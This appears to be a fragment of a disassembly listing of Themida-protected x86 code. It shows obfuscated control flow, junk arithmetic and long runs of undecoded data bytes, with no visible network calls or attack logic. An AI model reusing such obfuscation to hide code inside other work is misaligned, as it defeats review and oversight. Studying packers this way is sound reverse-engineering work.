		mov	ebx, 7F493B16h
		push	edi
		mov	edi, 7D29414Dh
		jmp	loc_503C24
; ---------------------------------------------------------------------------
		db 56h
		dd 2B69C6BEh, 0FECE810Eh, 0F76B7A39h, 0BD554ED6h, 3540099Eh
		dd 0FFE16FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507711:				; CODE XREF: Themida_:00505ECFj
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_50A926
; ---------------------------------------------------------------------------


loc_50771E:				; CODE XREF: Themida_:00505CE0j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_505B52
; ---------------------------------------------------------------------------
		db 5Fh,	8Bh, 1Ch
		dd 4C48124h, 0E9000000h, 22D9h,	81241C8Bh, 4C4h, 2DDE6800h
		dd 0C890000h, 46B35324h, 815BDD88h, 4ECh, 24048900h, 0F6D9B753h
		dd 0DAE780D7h, 0C4E9C7FEh, 51000029h, 0BA52E189h, 2E25691Ah
		dd 6916EA81h, 0D1012E25h, 5324148Bh, 0BD55E389h, 4, 0E95DEB01h
		dd 0FFFFE67Fh, 75E955B2h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50779B:				; CODE XREF: Themida_:00509C45j
		pop	eax
		jmp	loc_50BCAC
; ---------------------------------------------------------------------------
		db 66h,	8Fh, 2
		dd 0FFF68CE9h, 0E932FFFFh, 0FFFFA061h
; ---------------------------------------------------------------------------


loc_5077B0:				; CODE XREF: Themida_:005068D9j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_509CA0
; ---------------------------------------------------------------------------


loc_5077DF:				; CODE XREF: Themida_:0050849Dj
		push	dword ptr [eax]
		jmp	loc_501811
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 28F18104h, 8148E652h, 4E4457EBh, 81CB0115h, 4E4457C3h
		dd 240C8B15h, 4C481h, 0BF570000h, 4, 52DBEB81h,	0D7E93C06h
		dd 28FFFFF6h, 0D5285AD5h, 350AE9h, 0B8505D00h, 4, 0E958C601h
		dd 0FFFFA11Bh, 815FFD01h, 2C5h,	0CFD1E900h, 8ABFFFFFh
		dd 0C145842Dh, 814702EFh, 9EF4A1C7h, 5FFA01EEh,	8704EA83h
		dd 895C2414h, 0BF572404h, 4, 15FF889h, 189AE9C7h, 0CD870000h
		dd 0CD87D1F7h, 0F581DDF7h, 120A2ACEh, 4B0EE9h
		db 0
; ---------------------------------------------------------------------------


loc_50787D:				; CODE XREF: Themida_:00502681j
		sub	ch, 1
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 1Dh
		dec	bh
		dec	bh
		shr	bh, 6
		push	cx
		push	eax
		jmp	loc_50851A
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFF6ECE9h, 34AEB9FFh, 0CE31A01Ah, 5EF53159h, 0B2E9E801h
		dd 5200003Eh, 0D649C668h, 0EA815A27h, 0E2C9EE0Ah, 0E95AD689h
		dd 3DD0h
; ---------------------------------------------------------------------------


loc_5078C4:				; CODE XREF: Themida_:00507F6Bj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_501C18
; ---------------------------------------------------------------------------
		dd 4C181h, 0C1830000h, 240C8704h, 7AA5685Ch, 14890000h
		dd 51E28924h, 0FFA98DE9h, 240489FFh, 0E03AD7B8h, 6AE95151h
		dd 0FF000060h, 48B2434h, 254EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507916:				; CODE XREF: Themida_:00506B1Aj
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		jmp	loc_502E2E
; ---------------------------------------------------------------------------


loc_507924:				; CODE XREF: Themida_:0050A910j
		sub	edx, eax
		pop	eax
		jmp	loc_5039E3
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 525A2434h, 0C281E289h, 4, 0B4B2E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507942:				; CODE XREF: Themida_:00502E5Cj
		add	esi, ebx
		jmp	loc_501F09
; ---------------------------------------------------------------------------


loc_507949:				; CODE XREF: Themida_:0050404Fj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_50D248
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4B924h, 4C010000h, 0FF590424h, 815A2434h, 4C4h, 6209E900h
		dd 0C0830000h, 0FF685701h, 5FFFFFFFh, 0C55982Dh, 0C921E957h
		dd 4B8FFFFh, 1000000h, 3C8758C7h, 0EB805C24h, 4CC380A6h
		dd 0C78B050h, 0F696342Eh, 0E90034D8h, 0FFFFB5ADh, 24048F59h
		dd 4240481h, 8B000000h,	0A4E9242Ch, 0C1FFFFE3h,	4C3502E0h
		dd 354B5643h, 4CA32FEBh, 0FFAF39E9h, 0F0E951FFh, 6600003Eh
		dd 0E912C268h, 0FFFFE2C3h, 0E904EC83h, 1274h, 4C481h, 0BE560000h
		dd 2, 0E95EF001h, 0FFFFAD11h, 0EEC1D6F7h, 1ECAE907h, 0C4810000h
		dd 4, 0B840CA05h, 0EC87E94Bh, 0C581FFFFh, 4, 2BE56h, 0ED810000h
		dd 1C0D1F61h, 5FB0E9h, 70CD8100h, 0E978CE07h, 0B54h, 327FE941h
		dd 0FF520000h, 5A042474h, 8B24048Fh, 0BBE92424h, 0B9000001h
		dd 4, 4244C01h,	0B464E959h, 0C681FFFFh,	2EF3D2C6h, 2347F681h
		dd 0B8E92CE0h, 53FFFFF0h, 7EF6BA52h, 0EA8166C9h, 0FFFFFFFFh
		dd 8107E2C1h, 21414CC2h, 3DE9532Bh, 0FF000011h,	52582434h
		dd 0CCE3E954h, 248BFFFFh, 66E1F624h, 68CCB60Fh,	34E7h
		dd 54240C89h, 83240C8Bh, 0E95304C4h, 3B8Eh
; ---------------------------------------------------------------------------


loc_507AB4:				; CODE XREF: Themida_:0050257Fj
		add	esp, 4
		push	1914h
		jmp	loc_507387
; ---------------------------------------------------------------------------
		dd 64FCE781h, 0F78174B4h, 4959199Bh, 0E95FF929h, 0FFFFF2AFh
		dd 3811CDBEh, 0FB0BB37h, 53E93710h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507AE7:				; CODE XREF: Themida_:0050887Cj
		mov	edx, 24h
		add	edx, edi
		xor	eax, [edx]
		pop	edx
		xor	[edi+24h], eax


loc_507AF4:				; CODE XREF: Themida_:00504683j
		push	0D1Ah
		mov	[esp], edi
		jmp	loc_501A6D
; ---------------------------------------------------------------------------
		db 0E9h, 0Bh, 9Dh
		dd 489FFFFh, 0F362E924h, 0EF81FFFFh, 465247DCh,	768CF01h
		dd 8900007Ch, 0DCBB241Ch, 81465247h, 2957B0EFh,	81DF0111h
		dd 2957B0C7h, 0E9595B11h, 0FFFFAD59h, 81E38953h, 4C3h
		dd 2B95100h, 29000000h,	1C8759CBh, 89665C24h, 58B1240Ch
		dd 0D9F6C1FEh, 0FFDDDFE9h, 0E9CE29FFh, 4AB7h, 44E9CD29h
		dd 81FFFFBBh, 8A13C9E9h, 41D1F75Ch, 9450C181h, 0E9520A01h
		dd 0FFFFC720h, 0DD3A3540h, 0C2317402h, 0FFDD78E9h, 2474FFFFh
		dd 48F5B04h, 24248B24h,	0FFED41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507B9D:				; CODE XREF: Themida_:00505447j
		mov	ebx, [esp]
		jmp	loc_50C7C6
; ---------------------------------------------------------------------------


loc_507BA5:				; CODE XREF: Themida_:0050B5C6j
		pop	edi
		push	ecx
		mov	ecx, 7CF5435Fh
		jmp	loc_503074
; ---------------------------------------------------------------------------


loc_507BB1:				; CODE XREF: Themida_:005045A4j
		pop	eax
		push	ecx
		mov	ecx, 5AB142A1h
		shr	ecx, 4
		jmp	loc_506D5D
; ---------------------------------------------------------------------------


loc_507BC0:				; CODE XREF: Themida_:0050CB8Dj
		sub	esi, 9B938737h
		push	esi
		pop	ecx
		pop	esi
		sub	ecx, 5FFD616Fh
		jmp	loc_504D04
; ---------------------------------------------------------------------------
		dd 5DEB015Ah, 815BDE89h, 1513CAEBh, 56F3014Eh, 259AE9h
		dd 6FBB5300h, 8129940Dh, 0DF3D5BEBh, 0F0C3811Dh, 0E9F44B2Fh
		dd 0FFFF9D14h, 9A2AFCBFh, 0F5A8E962h, 5A57FFFFh, 83243C8Bh
		dd 0D60104C4h, 5A2434FFh, 0FFC7C8E9h, 48966FFh,	5C016824h
		dd 14890000h, 807DB624h, 6BE959C6h, 81FFFFD2h, 8B4F28E2h
		dd 0DCC28168h, 81DFF4FDh, 58283FEFh, 0E9D70113h, 0FFFFCC80h
		dd 240C895Ch, 50E68956h, 5019C1B8h, 0F7D8F74Ch,	52C0E9D8h
		dd 4890000h, 4B824h, 0C5290000h, 242C3358h, 33242C31h
		dd 0E95C242Ch, 3FAFh, 0FFFFFF68h, 0E9015DFFh, 3E9C15Dh
		dd 0E902E9C1h, 0FFFFA0EEh, 0FF9B7CE9h, 0FFBA52FFh, 8120D24Fh
		dd 763AEDCAh, 26EA8154h, 561D1B6Ch, 0FFC333E9h,	0EC8159FFh
		dd 4, 54240489h, 40558h, 4050000h, 83000000h, 48904ECh
		dd 2474FF24h, 2434FF04h, 805E9h, 9B37E900h, 0F301FFFFh
		dd 4C3835Eh, 2474FF53h,	39E95B04h, 0D1FFFFDEh, 0FEE381EBh
		dd 816BB61Ch, 0DB4F40F3h, 5BDF0127h, 0EF81D701h, 4DDD5338h
		dd 403AE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507D0A:				; CODE XREF: Themida_:0050CD70j
		mov	dh, 1Dh
		mov	ch, dh
		pop	edx
		push	ebx
		push	ecx
		mov	cl, 0E7h
		mov	bh, 0FDh
		add	bh, cl
		pop	ecx
		add	bh, 90h
		jmp	loc_50DB2D
; ---------------------------------------------------------------------------
		dd 0D1E9D830h, 66000017h, 0E924048Bh, 0FFFFBBFBh, 353CEB81h
		dd 81595CEFh, 4C3h, 74FF5300h, 1C8B0424h, 4C48124h, 8F000000h
		dd 248B2404h, 9ABBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507D56:				; CODE XREF: Themida_:0050C473j
		xor	eax, [esp]
		pop	esp
		push	esi
		jmp	loc_506C1C
; ---------------------------------------------------------------------------
		dd 81243C89h, 27952404h, 83E9368Ch, 0BFFFFFF6h,	3DA156C5h
		dd 0BCBF781h, 0E94F7383h, 45DBh, 4D466850h, 0EAE90000h
		dd 5100004Fh, 0FFD837E9h, 24248BFFh, 4C681h, 0EE830000h
		dd 3817E904h, 0E9580000h, 5FAAh
; ---------------------------------------------------------------------------


loc_507DA8:				; CODE XREF: Themida_:00507035j
		mov	eax, 64513A58h
		and	eax, 5DFA4BD1h
		shl	eax, 3
		jmp	loc_501C89
; ---------------------------------------------------------------------------
		dw 0C3FEh
		dd 0C031F380h, 0F38602EBh, 2AA1E9h
		db 0
; ---------------------------------------------------------------------------


loc_507DC9:				; CODE XREF: Themida_:0050A07Dj
		sub	ecx, 52154E7Bh
		sub	eax, 76962EA7h
		jmp	loc_50C630
; ---------------------------------------------------------------------------
		align 2
		dw 5AF4h
		dd 3058E330h, 2434FFD8h, 0AC6E9h, 243C8900h, 4A049C68h
		dd 243C8B54h, 4C481h, 0FA310000h, 0E9243C8Bh, 0FFFFB549h
		dd 1268E389h, 89000075h, 4BE2434h, 0E9000000h, 0FFFFCC3Fh
		dd 9EA4EB81h, 0DE21D905h, 0BD55505Bh, 58C282Fh,	0DDF0C581h
		dd 0E8895D3Eh, 58C6315Dh, 793AF681h, 0F5014AE4h, 8324348Bh
		dd 5CE904C4h, 0FEFFFFEFh, 0E9DAF6C2h, 20E0h, 8702C083h
		dd 248B2404h, 0C8B6624h, 0A9E95324h, 0B9FFFFCBh, 15E54B4Bh
		dd 0E1C1D1F7h, 88C18104h, 816C9A66h, 45B1C6E9h,	0FFCF890Eh
		dd 81592434h, 4C4h, 0CF79E900h,	14F7FFFFh, 0E9815924h
		dd 0FF40C7F4h, 159CB89h, 0EED5E9D8h, 5450FFFFh,	40558h
		dd 4050000h, 87000000h,	4F5C2404h, 0DDF7FD87h, 0EF75BF57h
		dd 0FD01D971h, 39312D5Fh, 0ADE976B2h, 0E900000Ch, 0FFFF9945h
		dd 80BAC380h, 5966C7C3h, 0FFC0B60Fh, 48B8734h, 0E1895124h
		dd 4B18E9h
		db 0
; ---------------------------------------------------------------------------


loc_507EE5:				; CODE XREF: Themida_:005093FDj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebx, [esp]
		pop	esp
		xor	[esp], ch
		xor	ch, [esp]
		jmp	loc_504E3C
; ---------------------------------------------------------------------------
		dd offset dword_4B285C+30Ch
		align 10h
		dd 53240489h, 35FABD55h, 0EB892D5Fh, 23E94B5Dh,	0B900000Ch
		dd 21EE4943h, 8103E9C1h, 0F159ACF1h, 0C1814108h, 485D3597h
		dd 0C618F181h, 0C8895529h, 32C1E959h, 1CF70000h, 0D2E99C24h
		dd 57FFFF98h, 68516853h, 91E96833h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507F4B:				; CODE XREF: Themida_:0050D7E9j
		not	edi
		neg	edi
		shl	edi, 3
		not	edi
		jmp	loc_5052FF
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 4BEh, 0E9F20100h, 0FFFFDE24h
; ---------------------------------------------------------------------------


loc_507F68:				; CODE XREF: Themida_:0050A85Dj
		pop	edx
		push	ebp
		push	esp
		jmp	loc_5078C4
; ---------------------------------------------------------------------------
		dd 98301AB9h, 51F18132h, 5371FB6Fh, 161E9h, 24148B00h
		dd 0E904C483h, 1380h, 59CE68h, 242C8900h, 0C581E589h, 4
		dd 99E6857h, 0D9E9007Eh, 66000041h, 68240C8Bh, 2575h, 0FFC58CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507FB5:				; CODE XREF: Themida_:0050B1AFj
		mov	[esp], eax
		mov	eax, 443235F8h
		shl	eax, 4
		or	eax, 112E11BCh
		shl	eax, 8
		shl	eax, 2
		xor	eax, 548C602Eh
		sub	eax, 3EF4C0F2h
		add	ecx, eax
		pop	eax
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_506A94
; ---------------------------------------------------------------------------


loc_507FE5:				; CODE XREF: Themida_:005086E1j
		pop	edi
		mov	ebx, ebp
		jmp	loc_50A2D3
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 7Ch
		dd 815D4127h, 7D3F32C6h, 0B811E927h, 0C581FFFFh, 4, 3304C583h
		dd 2C31242Ch, 242C3324h, 0C10E9h, 4C48300h, 8704C483h
		dd 665C240Ch, 9C2404D3h, 4A97E9h, 0D8295800h, 11A1E95Bh
		dd 0DEF60000h, 0E9A5C680h, 3E82h, 3E34E181h, 72E90F7Fh
		dd 5BFFFFA7h, 0F2F7F281h, 0C381D0D2h, 37E92DBEh, 5C7EE9h
		dd 535F5400h, 4BBh, 0B4E3E900h,	77FFFFFFh, 58669D1Ch, 9C240418h
		dd 4134E9h
		db 0
; ---------------------------------------------------------------------------


loc_508075:				; CODE XREF: Themida_:00504093j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_501862
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 41C6h, 0B294E9ADh, 1489FFFFh, 0C0BFB624h
		dd 0D6F605EEh, 8027EE80h, 0F328D6EBh, 0E902EC83h, 0FFFFFB75h
		dd 0E97F2CACh, 0FFFFA30Ah, 81240C8Bh, 4C4h, 24048F00h
		dd 6824248Bh, 4BF7h, 50243489h,	4EC81h,	0C890000h, 24048B24h
		dd 81E68956h, 4C6h, 40BCE900h, 0DCBB0000h, 969A704h, 0D1F75BD9h
		dd 0FFFF4BE9h, 1C895CFFh, 51E38924h, 393CE9h, 40478F00h
		dd 0FF970CE9h, 24F380FFh, 8091C380h, 0EB8034F3h, 7E3C0B2h
		dd 53B05066h, 5BB3E9h
		db 0
; ---------------------------------------------------------------------------


loc_50811D:				; CODE XREF: Themida_:005074FBj
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mov	dx, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		push	5F29h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_50B88E
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 89662424h, 0F66240Ch, 5166C8B6h, 96B7E99Ch
		dd 0BD55FFFFh, 4, 554FC781h, 20E97718h,	89000054h, 0E8315BDDh
		dd 798F685Dh, 0C890000h, 0BA525724h, 46FB2295h,	1518C281h
		dd 0E2C12FDAh, 0E2E9E908h, 0F381FFFFh, 5AAA5508h, 0EB0CE957h
		dd 0C820FFFFh, 0FFD914E9h, 48F5CFFh, 2245E924h,	87680000h
		dd 89000029h, 0FE68242Ch, 5D000000h, 4FA268h, 24048900h
		dd 0FFD5E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5081C5:				; CODE XREF: Themida_:0050A21Bj
		sub	ebx, eax
		pop	eax
		mov	eax, ebx
		pop	ebx
		push	1578h
		mov	[esp], edi
		mov	edi, 3A901009h
		or	edi, 2BE25593h
		xor	edi, 5C671848h
		jmp	loc_503BDC
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 50000000h, 0C3E7E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5081F6:				; CODE XREF: Themida_:005063F0j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 40h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_505205
; ---------------------------------------------------------------------------
		dw 70BBh
		dd 4B621379h, 3C63E9h, 4C48100h, 68000000h, 2CBAh, 0FFFBB4E9h
		dd 5BDA89FFh, 815AD301h, 7A43F0EBh, 0E9EB0150h,	2699h
; ---------------------------------------------------------------------------


loc_508248:				; CODE XREF: Themida_:005039A7j
		push	esi
		jmp	loc_5059F5
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 89000000h, 0C8015DE9h, 4C08359h, 8B240487h, 0C8012424h
		dd 8B2434FFh, 0C483240Ch, 4C48304h, 8F66C331h, 9597E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50827A:				; CODE XREF: Themida_:00502CC3j
		inc	esi
		shr	esi, 2
		add	esi, 0EF81F748h
		jmp	loc_5052A8
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 53h
		dd 130449BBh, 0F7DBF74Fh, 8E94BDBh, 0FF000032h,	34FF2434h
		dd 3685824h, 8900005Ah,	0E2892414h, 0B3CE9h, 29F58100h
		dd 0C14F1E3Fh, 0BAE906EDh, 5D000049h, 3CE9E5D1h, 0BA00004Bh
		dd 4, 361DE953h, 0E9410000h, 0FFFFB97Fh, 4C481h, 0EF810000h
		dd 483E7944h, 0E953D7F7h, 0FFFF9876h, 1834F781h, 0F901530Dh
		dd 2E9835Fh, 0E9240C87h, 0FFFFC3A2h, 83241C8Bh,	885104C4h
		dd 0CE8852D1h, 47B3E950h, 89530000h, 2C6851E3h,	8B48E652h
		dd 0C3E9240Ch
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508323:				; CODE XREF: Themida_:005073A7j
		xor	esi, edi
		jmp	loc_508B0E
; ---------------------------------------------------------------------------


loc_50832A:				; CODE XREF: Themida_:0050291Bj
		add	esp, 4
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 39535C3Ah
		jmp	loc_508B9A
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0F3h
		dd 5BA72257h, 2BEB8159h, 8177303Dh, 134DDEEBh, 0CFC3811Ah
		dd 1099929h, 0CFEB81C3h, 81099929h, 134DDEC3h, 2BC3811Ah
		dd 8877303Dh, 2434FF13h, 4C4835Bh, 0FF9484E9h, 0CBE95FFFh
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508393:				; CODE XREF: Themida_:005062FBj
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_509E80
; ---------------------------------------------------------------------------


loc_50839E:				; CODE XREF: Themida_:005025CBj
		xor	dh, 0C6h
		neg	dh
		add	dh, 0C0h
		add	al, dh
		pop	edx
		pop	edx
		push	7045h
		mov	[esp], edx
		jmp	loc_50AD1D
; ---------------------------------------------------------------------------
aGb		db 'G',0
		dd 0C781398Eh, 0C0215727h, 835FF801h, 43302C0h,	24043124h
		dd 5C240433h, 9C2404D2h, 0FF9434E9h, 2C8966FFh,	0C2BD6624h
		dd 4A61E95Fh, 0F5810000h, 0B7E58927h, 0FFE9CCE9h, 2434FFFFh
		dd 582434FFh, 0C28E9h, 4C48100h, 81000000h, 91042444h
		dd 0E922C758h, 0FFFFC7A0h, 2141E952h, 51660000h, 2586E9h
		dd 664A6600h, 2FAE281h,	0A6CA8166h, 0B24DE94Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508432:				; CODE XREF: Themida_:0050397Dj
		sub	ecx, esi
		pop	esi
		add	ecx, 73494BB9h
		add	ecx, 0AA07BA69h
		mov	eax, ecx
		jmp	loc_50BAC4
; ---------------------------------------------------------------------------


loc_508448:				; CODE XREF: Themida_:00509ADEj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_509925
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 1F796824h, 0C15B4AD6h, 0C38106EBh, 6B5E1D79h
		dd 0FFD7F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508471:				; CODE XREF: Themida_:00503F47j
		mov	edi, 2C05459Ch
		inc	edi
		push	7AD8h
		jmp	loc_50648A
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0A4h
		dd 315A9B90h, 50565BDDh, 40CE9h
		db 0
; ---------------------------------------------------------------------------


loc_508491:				; CODE XREF: Themida_:0050B028j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5077DF
; ---------------------------------------------------------------------------


loc_5084A2:				; CODE XREF: Themida_:0050891Fj
		not	ebx
		not	ebx
		neg	ebx
		push	edx
		mov	edx, 0A65FF517h
		jmp	loc_509CCA
; ---------------------------------------------------------------------------


loc_5084B3:				; CODE XREF: Themida_:005086EDj
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, esp
		jmp	loc_50BDD4
; ---------------------------------------------------------------------------
		dw 5755h
		dd 7E7F9EBFh, 0B891E952h, 48FFFFFh, 0E6BBE924h,	48BFFFFh
		dd 0EFFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5084E2:				; CODE XREF: Themida_:0050CBB6j
		pop	edx
		push	ecx
		mov	ecx, 1F8E6A0Eh
		xor	ecx, 785B75h
		xor	edx, ecx
		pop	ecx
		jmp	loc_5067CB
; ---------------------------------------------------------------------------
		db 31h
		dd 31C231D0h, 4EC81D0h,	0E9000000h, 2729h, 4BA52h, 54010000h
		dd 148B0424h, 5400E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50851A:				; CODE XREF: Themida_:00507892j
		mov	al, 0FFh
		mov	cl, al
		pop	eax
		add	bh, cl
		mov	cx, [esp]
		add	esp, 2
		shr	bh, 2
		push	ecx
		mov	ch, 0A5h
		push	edx
		mov	dl, 0F4h
		jmp	loc_50B46C
; ---------------------------------------------------------------------------


loc_508536:				; CODE XREF: Themida_:0050CFD6j
		add	eax, ecx
		pop	ecx
		xor	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		push	145Ah
		mov	[esp], edi
		mov	edi, 6D2A7F1Bh
		push	134h
		mov	[esp], edi
		pop	eax
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 17593784h
		xchg	ecx, edi
		jmp	loc_508924
; ---------------------------------------------------------------------------


loc_508578:				; CODE XREF: Themida_:0050C3F9j
		mov	eax, 495B37E9h
		sub	eax, ebx
		jmp	loc_50613A
; ---------------------------------------------------------------------------
		dd 0E904EA83h, 0FFFFF032h, 20F9F581h, 0BA526F8Eh, 0FFFFFFFFh
		dd 148BD501h, 4C48124h,	81000000h, 8C8EFF5h, 5DE8891Ah
		dd 4244481h, 7B0728A6h,	4244429h, 8904EC83h, 0A6B9240Ch
		dd 297B0728h, 5908244Ch, 8324048Bh, 40104C4h, 24048124h
		dd 0D692790h, 0FF9234E9h, 0F6815EFFh, 0B73CE1E9h, 4EC81h
		dd 0C890000h, 0B8BE5624h, 0B91E4D38h, 0D7330D6h, 295EF131h
		dd 158EE9C8h, 0E9420000h, 25E2h, 3C78B850h, 0BB535FEAh
		dd 6508154Fh, 9E30EB81h, 0D8316141h, 0E9241C8Bh, 0FFFF94ACh
		dd 0A430BEBAh, 65F2814Ch, 317B434Fh, 9ED7E9D0h,	895CFFFFh
		dd 8B54243Ch, 0C481243Ch, 4, 377668h, 24148900h, 4BAh
		dd 0C3FAE900h, 0E289FFFFh, 4C281h, 0C2810000h, 4, 31241433h
		dd 86E92414h, 80FFFFE9h, 0F380FFC3h, 5BD8304Dh,	81E18951h
		dd 4ECh, 0F480E900h, 0BD55FFFFh, 0A2C67DFh, 0FFE91FE9h
		dd 24048FFFh, 8524248Bh, 75E99CC8h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50869F:				; CODE XREF: Themida_:00509443j
		push	132h
		mov	[esp], esp
		jmp	loc_50A9B3
; ---------------------------------------------------------------------------


loc_5086AC:				; CODE XREF: Themida_:0050C875j
		or	edi, 628762C8h
		shr	edi, 2
		and	edi, 123C3C0Dh
		xor	edi, 534431Bh
		xor	edx, edi
		pop	edi
		sub	edx, 1
		jmp	loc_505F7D
; ---------------------------------------------------------------------------


loc_5086CC:				; CODE XREF: Themida_:0050C2F4j
		pop	dword ptr [esp]
		jmp	loc_504F0E
; ---------------------------------------------------------------------------


loc_5086D4:				; CODE XREF: Themida_:00507047j
		mov	ebp, 71F647E8h
		push	edi
		mov	edi, 0D9D70C98h
		add	ebp, edi
		jmp	loc_507FE5
; ---------------------------------------------------------------------------


loc_5086E6:				; CODE XREF: Themida_:00509735j
		pop	eax
		sub	esp, 4
		jmp	loc_5084B3
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 21BF6C12h, 0FFB6C5E9h, 106B68FFh, 0C890000h,	0F780E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50870A:				; CODE XREF: Themida_:0050D908j
		push	dword ptr [edi+24h]
		push	2D5Fh
		mov	[esp], edx
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	edx, 0FFFFFFFFh
		push	551Bh
		mov	[esp], ecx
		mov	ecx, 24h
		add	ecx, edi
		jmp	loc_509B61
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 90D3E924h, 6851FFFFh, 7AED7A36h, 0E9D1F759h,	45F8h
; ---------------------------------------------------------------------------


loc_50874C:				; CODE XREF: Themida_:00505538j
		and	edx, 37753D16h
		xor	edx, 452A4312h
		jmp	loc_50562F
; ---------------------------------------------------------------------------
		db 0Fh,	0C8h, 68h
		dd 2F0h, 0E9240489h, 0FFFFEECEh, 0BD3CE95Bh, 0FF66FFFFh
		dd 0E99C240Ch, 0FFFFAE38h, 0E9241C8Bh, 1631h, 54243C89h
		dd 2900E95Fh, 48F0000h,	2AE95C24h, 68FFFFB3h, 1, 51241C8Bh
		dd 0C181E189h, 4, 5104C183h, 42474FFh, 24048F59h, 0F36E95Ch
		dd 52E90000h, 52FFFF90h, 4E53E9h
		db 0
; ---------------------------------------------------------------------------


loc_5087C5:				; CODE XREF: Themida_:00506A8Fj
		push	75ECh
		jmp	loc_50C9F5
; ---------------------------------------------------------------------------
		db 0BDh
		dd 209A4AF7h, 0AFE9DDF7h, 53FFFFD4h, 0BBh, 0E9D30100h
		dd 1F3Ch, 42474FFh, 24048F5Bh, 3FB3E95Ch, 5D540000h, 0FFF219E9h
		dd 0C38059FFh, 0E9C32859h, 1F98h
; ---------------------------------------------------------------------------


loc_508808:				; CODE XREF: Themida_:005029ECj
		push	ebx
		mov	bh, 32h
		xor	ch, bh
		pop	ebx
		xor	al, ch
		pop	ecx
		jmp	loc_50B099
; ---------------------------------------------------------------------------


loc_508816:				; CODE XREF: Themida_:00504F2Dj
		mov	ecx, ebp
		pop	ebp
		jmp	loc_505F36
; ---------------------------------------------------------------------------
		dw 28Fh
		dd 0FF8FECE9h, 240C8BFFh, 4C481h, 2C330000h, 242C3124h
		dd 0FFC6B9E9h, 58C229FFh, 68h, 24142900h, 0FFA35DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508849:				; CODE XREF: Themida_:0050DC0Ej
		mov	edx, 73B50591h
		add	edx, 68DE4735h
		xor	edx, 6EF00D3Ch
		add	edx, 534F3672h
		mov	esi, edx
		pop	edx
		xor	esi, 2B872234h
		xor	esi, 26DC7965h
		add	edi, esi
		pop	esi
		pop	edx
		mov	edx, edi
		pop	edi
		add	edx, edi
		xor	[edx], eax
		pop	edx
		push	edx
		jmp	loc_507AE7
; ---------------------------------------------------------------------------
